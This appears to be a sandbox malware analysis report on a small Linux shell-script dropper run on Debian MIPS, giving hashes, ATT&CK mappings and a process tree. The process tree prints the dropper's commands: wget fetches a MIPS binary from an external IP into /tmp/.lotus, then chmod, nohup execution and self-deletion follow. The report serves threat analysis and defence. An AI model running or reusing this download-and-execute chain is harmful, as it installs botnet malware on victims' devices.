f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa

Analysis

max time kernel
1s
max time network
3s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/10/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
Size 1KB
Sample261003-lc5pravgla
SHA256 f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa
MD5 58181e8b583ecf2fdf5af206b28f5982
SHA1 feb007bf1dc16be9579508119a9edbb6347d578a
SHA512 834213f7295e2aac132fdfb5a17f1b003604cebffa62d9eaa06b146c054b62ab868c34445b4fbcb60b7a8b9f87e6fc98edec330ef24a712d64c1fac5f5f34621
TLSH
T183217B2B36A234B2A35E08AE477E21165497012B04347E98B2EE17356FBDA367C79B11
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
714	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.lotus	716	nohup

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
695	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lotus	wget

/tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
/tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
1⤵
PID:690
- /bin/uname
  uname -m
  2⤵
  PID:692
- /usr/bin/wget
  wget -q http://2.27.248.149/bins/mips -O /tmp/.lotus
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:695
- /bin/chmod
  chmod 777 /tmp/.lotus
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /bin/rm
  rm -f /tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
  2⤵
  PID:717
- /usr/bin/nohup
  nohup /tmp/.lotus
  2⤵
  - Executes dropped EXE
  PID:716

/tmp/.lotus
/tmp/.lotus
1⤵
PID:716

/bin/sh
/bin/sh /tmp/.lotus
1⤵
PID:716

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.lotus

Path /tmp/.lotus
Size 15KB
SHA256 e3b4e38ac412470eabdb43d43d696fc6b690eea2007e2dc084a72f286a5b4719
MD5 c4225d760a0610310c70dc264ba36459
SHA1 99020c6ad821b142fe705111f27d3a80ee6ccf79
SHA512 d5d79f606f8058758595259a4b9ea604f1266af6b89d97fc9f83a475a937ddeb0c0bdf3ebce668d31a6f19df77a78cbbb7d1cfa67d5886e5405274b23d4443f0
SSDEEP 384:xQEnOTpLDDnbm0SCeuCRRRw2kipeJgGlzDpHbKYwrJDsV26:qEONDnbFSCeu0RQnJgGlzDppMg5
TLSH
T15C629E6D69C518FAE42BE47951AA53815EB60FE3E481EC026428EEC7CB419E538CB6D0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download